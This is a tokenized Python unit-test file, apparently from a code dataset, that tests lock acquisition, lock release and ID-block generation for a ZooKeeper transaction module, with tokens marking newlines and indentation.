"unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "lock", "twi", "ce_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "=_", "\"", "testa", "pp", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "\"", "root", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "txid_", "=_", "self_", "._", "zk_", "._", "get", "\\u", "transaction", "\\u", "id_", "(_", "app_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "txid_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "acquir", "e\\u", "lock_", "(_", "app_", ",_", "txid_", ",_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "acquir", "e\\u", "lock_", "(_", "app_", ",_", "txid_", ",_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "release", "\\u", "lock_", "(_", "app_", ",_", "txid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "lock", "different", "key_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "=_", "\"", "testa", "pp", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "\"", "root", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key2_", "=_", "\"", "root", "2", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "txid_", "=_", "self_", "._", "zk_", "._", "get", "\\u", "transaction", "\\u", "id_", "(_", "app_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "txid_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "acquir", "e\\u", "lock_", "(_", "app_", ",_", "txid_", ",_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ret_", "=_", "self_", "._", "zk_", "._", "acquir", "e\\u", "lock_", "(_", "app_", ",_", "txid_", ",_", "key2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "ZK", "Transa", "ction", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "ZK", "Transa", "ction", "Exception_", "._", "TYPE", "\\u", "DIFF", "ERE", "NT", "\\u", "ROO", "TK", "EY", "_", ",_", "e_", "._", "get", "Type_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "release", "\\u", "lock_", "(_", "app_", ",_", "txid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "lock", "after", "release_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "=_", "\"", "testa", "pp", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "\"", "root", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "txid_", "=_", "self_", "._", "zk_", "._", "get", "\\u", "transaction", "\\u", "id_", "(_", "app_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "txid_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "acquir", "e\\u", "lock_", "(_", "app_", ",_", "txid_", ",_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "release", "\\u", "lock_", "(_", "app_", ",_", "txid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ret_", "=_", "self_", "._", "zk_", "._", "acquir", "e\\u", "lock_", "(_", "app_", ",_", "txid_", ",_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "ZK", "Transa", "ction", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "ZK", "Transa", "ction", "Exception_", "._", "TYPE", "\\u", "INVALID", "_", ",_", "e_", "._", "get", "Type_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "lock", "invalid", "id_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "=_", "\"", "testa", "pp", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "\"", "root", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "txid_", "=_", "99999_", "L_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "zk_", "._", "acquir", "e\\u", "lock_", "(_", "app_", ",_", "txid_", ",_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "ZK", "Transa", "ction", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "ZK", "Transa", "ction", "Exception_", "._", "TYPE", "\\u", "INVALID", "_", ",_", "e_", "._", "get", "Type_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "lock", "1000_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "=_", "\"", "testa", "pp", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "\"", "root", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "ii_", "in_", "range_", "(_", "1_", ",_", "1000_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "txid_", "=_", "self_", "._", "zk_", "._", "get", "\\u", "transaction", "\\u", "id_", "(_", "app_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "txid_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "acquir", "e\\u", "lock_", "(_", "app_", ",_", "txid_", ",_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "release", "\\u", "lock_", "(_", "app_", ",_", "txid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "release", "invalid", "id_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "=_", "\"", "testa", "pp", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "\"", "root", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "txid_", "=_", "99999_", "L_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "zk_", "._", "release", "\\u", "lock_", "(_", "app_", ",_", "txid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "ZK", "Transa", "ction", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "ZK", "Transa", "ction", "Exception_", "._", "TYPE", "\\u", "INVALID", "_", ",_", "e_", "._", "get", "Type_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "release", "with", "outl", "ock_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "=_", "\"", "testa", "pp", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "txid_", "=_", "self_", "._", "zk_", "._", "get", "\\u", "transaction", "\\u", "id_", "(_", "app_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "txid_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "release", "\\u", "lock_", "(_", "app_", ",_", "txid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "released", "iff", "eren", "tk", "ey_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "=_", "\"", "testa", "pp", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "\"", "root", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key2_", "=_", "\"", "root", "2", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "txid_", "=_", "self_", "._", "zk_", "._", "get", "\\u", "transaction", "\\u", "id_", "(_", "app_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "txid_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "acquir", "e\\u", "lock_", "(_", "app_", ",_", "txid_", ",_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ret_", "=_", "self_", "._", "zk_", "._", "release", "\\u", "lock_", "(_", "app_", ",_", "txid_", ",_", "key2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "ZK", "Transa", "ction", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "zk", "apps", "cale_", "._", "zk", "transaction_", "._", "ZK", "Transa", "ction", "Exception_", "._", "TYPE", "\\u", "DIFF", "ERE", "NT", "\\u", "ROO", "TK", "EY", "_", ",_", "e_", "._", "get", "Type_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ret_", "=_", "self_", "._", "zk_", "._", "release", "\\u", "lock_", "(_", "app_", ",_", "txid_", ",_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "generat", "eid_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "=_", "\"", "testa", "pp", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "\"", "root", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "id_", ",_", "block_", ")_", "=_", "self_", "._", "zk_", "._", "generat", "e", "ID", "Block_", "(_", "app_", ",_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "id", "=", "%", "d", ",", " ", "block", "=", "%", "d", "\"_", "%_", "(_", "id_", ",_", "block_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "id_", ">=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "block_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "generat", "eid", "\\u", "path", "key_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "=_", "\"", "testa", "pp", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "\"/", "root", "/", "child", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "id_", ",_", "block_", ")_", "=_", "self_", "._", "zk_", "._", "generat", "e", "ID", "Block_", "(_", "app_", ",_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "id", "=", "%", "d", ",", " ", "block", "=", "%", "d", "\"_", "%_", "(_", "id_", ",_", "block_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "id_", ">=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "block_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "generat", "eid", "\\u", "special", "character", "key_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "=_", "\"", "testa", "pp", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "\"!", "@#", "$%", "^", "&*", "()", "-=", "\\u", "+[", "]{", "}\\\\", "\\\\|", "~", "`", ";", ":\\\\", "\"',", ".", "<>", "/?", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "id_", ",_", "block_", ")_", "=_", "self_", "._", "zk_", "._", "generat", "e", "ID", "Block_", "(_", "app_", ",_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "id", "=", "%", "d", ",", " ", "block", "=", "%", "d", "\"_", "%_", "(_", "id_", ",_", "block_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "id_", ">=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "block_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "generat", "eid", "\\u", "two", "blocks_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "=_", "\"", "testa", "pp", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "\"", "root", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "id_", ",_", "block_", ")_", "=_", "self_", "._", "zk_", "._", "generat", "e", "ID", "Block_", "(_", "app_", ",_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "id", "=", "%", "d", ",", " ", "block", "=", "%", "d", "\"_", "%_", "(_", "id_", ",_", "block_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "id_", ">=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "block_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "next", "id_", ",_", "block_", ")_", "=_", "self_", "._", "zk_", "._", "generat", "e", "ID", "Block_", "(_", "app_", ",_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "id", "=", "%", "d", ",", " ", "block", "=", "%", "d", "\"_", "%_", "(_", "next", "id_", ",_", "block_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "next", "id_", ">=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "next", "id_", ">_", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "block_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "lock", "multit", "hread", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "value", "A_", "=_", "10_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tlist_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "5_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "thread_", "=_", "threading_", "._", "Thread_", "(_", "target_", "=_", "self_", "._", "\\u\\u", "increase", "A_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "thread_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tlist_", "._", "append_", "(_", "thread_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "thread_", "=_", "threading_", "._", "Thread_", "(_", "target_", "=_", "self_", "._", "\\u\\u", "decrease", "A_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "thread_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tlist_", "._", "append_", "(_", "thread_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "t_", "in_", "tlist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "t_", "._", "join_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "10_", ",_", "self_", "._", "value", "A_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "lock", "multit", "hread", "\\u", "different", "keys_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "value", "A_", "=_", "10_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "value", "B_", "=_", "10_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tlist_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "5_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "thread_", "=_", "threading_", "._", "Thread_", "(_", "target_", "=_", "self_", "._", "\\u\\u", "increase", "A_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "thread_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tlist_", "._", "append_", "(_", "thread_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "thread_", "=_", "threading_", "._", "Thread_", "(_", "target_", "=_", "self_", "._", "\\u\\u", "decrease", "A_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "thread_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tlist_", "._", "append_", "(_", "thread_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "5_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "thread_", "=_", "threading_", "._", "Thread_", "(_", "target_", "=_", "self_", "._", "\\u\\u", "increase", "B_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "thread_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tlist_", "._", "append_", "(_", "thread_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "thread_", "=_", "threading_", "._", "Thread_", "(_", "target_", "=_", "self_", "._", "\\u\\u", "decrease", "B_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "thread_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tlist_", "._", "append_", "(_", "thread_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "t_", "in_", "tlist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "t_", "._", "join_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "10_", ",_", "self_", "._", "value", "A_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "10_", ",_", "self_", "._", "value", "B_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "ZK", "Transaction_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "increase", "A_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "=_", "\"", "testa", "pp", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "\"", "root", "a", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "txid_", "=_", "self_", "._", "zk_", "._", "get", "\\u", "transaction", "\\u", "id_", "(_", "app_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "txid_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "not_", "self_", "._", "zk_", "._", "acquir", "e\\u", "lock_", "(_", "app_", ",_", "txid_", ",_", "key_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "time_", "._", "sleep_", "(_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"", "start", " ", "increase", "A", " ", "%", "s", "\"_", "%_", "threading_", "._", "current", "Thread_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tmp_", "=_", "self_", "._", "value", 